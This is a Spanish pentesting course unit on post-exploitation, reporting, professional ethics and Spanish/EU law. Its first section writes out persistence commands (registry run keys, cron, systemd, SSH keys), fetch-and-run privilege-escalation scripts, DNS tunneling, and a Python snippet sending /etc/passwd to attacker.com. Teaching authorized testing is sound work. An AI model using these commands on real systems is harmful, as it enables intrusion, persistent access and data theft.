🎯 Unidad 8: Post-Explotación, Reporte y Ética

🎯 Objetivos de Aprendizaje
- Ejecutar técnicas de post-explotación y mantenimiento de acceso.
- Escalar privilegios en sistemas comprometidos.
- Generar reportes profesionales de pentesting.
- Aplicar el marco ético y legal de la profesión.
📚 Contenido Teórico
🛠️ 8.1 Post-Explotación
La post-explotación abarca las actividades después de obtener acceso inicial: mantener acceso, escalar privilegios y exfiltrar datos.
🔐 Persistence Mechanisms
Windows:
Registry Run Keys:
# Agregar al inicio
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyService" /t REG_SZ /d "C:\malware.exe"
# HKLM para todos los usuarios
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyService" /t REG_SZ /d "C:\malware.exe"Scheduled Tasks:
# Crear tarea programada
schtasks /create /tn "MyTask" /tr "C:\malware.exe" /sc daily /st 09:00
# Con PowerShell
Register-ScheduledTask -TaskName "MyTask" -Action (New-ScheduledTaskAction -Execute "malware.exe") -Trigger (New-ScheduledTaskTrigger -Daily -At 9am)Services:
# Crear servicio malicioso
sc create "MyService" binPath= "C:\malware.exe" start= auto
sc start "MyService"Linux:
Cron Jobs:
# Agregar a crontab
(crontab -l 2>/dev/null; echo "@reboot /tmp/backdoor") | crontab -
# Crontab del root
echo "@reboot /tmp/backdoor" >> /etc/cron.d/backdoorSystemd Services:
# Crear servicio
cat > /etc/systemd/system/malware.service << EOF
[Unit]
Description=Malware Service
[Service]
Type=oneshot
ExecStart=/tmp/malware
[Install]
WantedBy=multi-user.target
EOF
systemctl enable malwareSSH Keys:
# Agregar clave pública
echo "ssh-rsa AAAA... user@attacker" >> /root/.ssh/authorized_keys⬆️ Privilege Escalation
Linux: - Kernel exploits - SUID/SGID misconfigurations - sudo misconfigurations - Capabilities abuse - Container escapes
Enumeración:
# Scripts automatizados
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# Manual
find / -perm -4000 2>/dev/null
sudo -l
cat /etc/sudoersExplotación común:
# sudo misconfig
sudo find /etc -exec sh \; -quit
# SUID
find / -perm -4000 -exec ls -l {} \;
# Cron jobs con root
cat /etc/crontabWindows: - Kernel exploits - Service misconfigurations - Token stealing - UAC bypass - DLL hijacking
Enumeración:
# PowerUp
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1')
Invoke-AllChecks
# winPEAS
winpeas.exe📤 Data Exfiltration
Técnicas:
DNS Tunneling:
# Con dnscat2
# Server
./dnscat2-server --secret=mysecret
# Cliente
./dnscat2 --secret=mysecret domain.comHTTPS Exfiltration:
import requests
import base64
data = open('/etc/passwd', 'rb').read()
encoded = base64.b64encode(data)
requests.post('https://attacker.com/exfil', data=encoded)Cloud Exfiltration: - Dropbox API - Google Drive - AWS S3
📝 8.2 Reportes
Un buen reporte es tan importante como el pentest mismo.
📋 Estructura de Reportes
Reporte Ejecutivo (1-3 páginas):
1. Resumen Ejecutivo
- Alcance
- Hallazgos principales
- Impacto de negocio
- Recomendaciones priorizadas
2. Hallazgos Críticos (sin detalles técnicos)
- Descripción
- Impacto potencial
- Recomendación general
3. Próximos Pasos
Reporte Técnico (completo):
1. Resumen Ejecutivo
2. Alcance
3. Metodología
4. Hallazgos Técnicos
- Finding #1
- Severidad
- Descripción
- Pasos para reproducir
- Evidencia
- Impacto
- Recomendaciones
- Referencias
5. Anexos
- Comandos utilizados
- Output de herramientas
- Screenshots
📄 Plantilla de Finding
## Finding: [Título]
**Severidad**: [Crítica/Alta/Media/Baja] (CVSS: X.X)
### Descripción
[Descripción clara del problema]
### Pasos para Reproducir
1. [Paso 1]
2. [Paso 2]
3. [Paso 3]
### Evidencia[Captura de pantalla o output]
### Impacto
[Impacto técnico y de negocio]
### Recomendaciones
[Pasos específicos para remediar]
### Referencias
- [CVE si aplica]
- [OWASP si aplica]
- [Best practices]
⚖️ Finding Prioritization
CVSS v3.1:
| Severity | Score | Color |
|---|---|---|
| Critical | 9.0 - 10.0 | 🔴 |
| High | 7.0 - 8.9 | 🟠 |
| Medium | 4.0 - 6.9 | 🟡 |
| Low | 0.1 - 3.9 | 🟢 |
| None | 0.0 | ⚪ |
Factores de negocio: - Explotabilidad - Exposición - Criticidad del activo - Requisitos regulatorios
⚖️ 8.3 Marco Ético
La ética en pentesting es fundamental para la profesión.
📜 Código de Ética del Pentester
Principios:
- Autorización: Solo probar sistemas con autorización explícita por escrito
- Confidencialidad: Proteger la información del cliente
- Integridad: No modificar datos sin consentimiento
- Divulgación: Reportar vulnerabilidades responsablemente
- Competencia: Solo realizar pruebas para las que está calificado
- Profesionalismo: Actuación honorable y honesta
📋 Responsabilidades Profesionales
- Documentar todo el proceso
- Mantener skills actualizados
- Respetar la privacidad
- Colaborar con defensores
- No facilitar actividades ilegales
🔓 Responsible Disclosure
- Reportar al vendor/interno
- Dar tiempo para remediar (típicamente 90 días)
- Coordinar divulgación pública
- Reconocer a los equipos que remedian
⚖️ 8.4 Marco Legal
🇪🇸 Legislación Española
Ley Orgánica 10/1995 (Código Penal):
- Artículo 197 bis: Acceso ilícito a sistemas
- Pena: 6 meses a 2 años de prisión
- Si difunde datos: 2-5 años
- Artículo 264: Daño Informático
- Destrucción de datos: 6 meses a 3 años
- Obstaculización: 1-4 años
- Artículo 263: Estafa Informática
- Uso de medios informáticos para estafar
Ley 34/2002 (LSSI):
- Regula servicios de sociedad de la información
- Responsabilidad de intermediarios
Ley 40/2015 (Régimen Jurídico):
- Administraciones Públicas
- Incidentes de seguridad en sector público
🇪🇺 GDPR (Reglamento General de Protección de Datos)
- Artículos clave:
- 32: Seguridad del tratamiento
- 33: Notificación de brechas (72 horas)
- 35: Evaluación de Impacto (DPIA)
- Sanciones: Hasta 20M€ o 4% facturación global
📝 Contratos de Pentesting
Elementos esenciales:
- Alcance exacto: Sistemas, IPs, dominios
- Fechas: Inicio y fin
- Reglas de compromiso:Qué se puede/no puede hacer
- Contactos: Comunicación durante la prueba
- Exclusiones: Sistemas fuera de alcance
- Confidencialidad: NDA
- Responsabilidades: Limitación de daños
- Entregables: Qué se espera recibir
🛠️ Herramientas
| Herramienta | Propósito | Instalación |
|---|---|---|
| mimikatz | Credential extraction | github.com/gentilkiwi |
| linPEAS | Linux privesc | github.com/carlospolop |
| winPEAS | Windows privesc | github.com/carlospolop |
| PowerUp | Windows privesc | github.com/PowerShellEmpire |
| BloodHound | AD privesc | bloodhound.io |
| dnscat2 | DNS tunneling | github.com/iagox86 |
| Cobalt Strike | C2 / postex | comercial |
| Dradis | Reporting | dradis.com |
| Ghostwriter | Reporting | github.com/GhostManager |
🎯 Proyecto Final
Ver
labs/lab-unidad8.mdpara el escenario completo.
Escenario: Pentest completo end-to-end: 1. Reconocimiento y enumeración 2. Identificación de vulnerabilidades 3. Explotación 4. Post-explotación 5. Documentación completa
Entregable: Reporte ejecutivo + técnico completo.
📚 Recursos Adicionales
- Cobalt Strike Documentation — Documentación oficial del framework C2 comercial
- Empire Framework — Framework C2 post-explotación open source
- MITRE ATT&CK Framework — Base de conocimiento de tácticas y técnicas adversarias
- Red Team Operations Course (SANS SEC564) — Curso avanzado de red teaming
- PTES - Penetration Testing Execution Standard — Metodología estándar de pentesting
- Linux Post-Exploitation Guide — guía completa de técnicas de escalada de privilegios en Linux
📊 Evaluación
La evaluación de esta unidad sigue la ponderación canónica del curso:
| Componente | Peso | Descripción |
|---|---|---|
| Laboratorio | 40% | Proyecto Final de pentesting end-to-end contra Metasploitable 2 |
| Reporte | 40% | Informe profesional de pentest con hallazgos, CVEs y remediaciones |
| Examen teórico | 20% | Quiz sobre post-explotación, ética y marco legal |
El Proyecto Final integra todas las competencias desarrolladas a lo largo del curso y constituye el trabajo de cierre del Máster.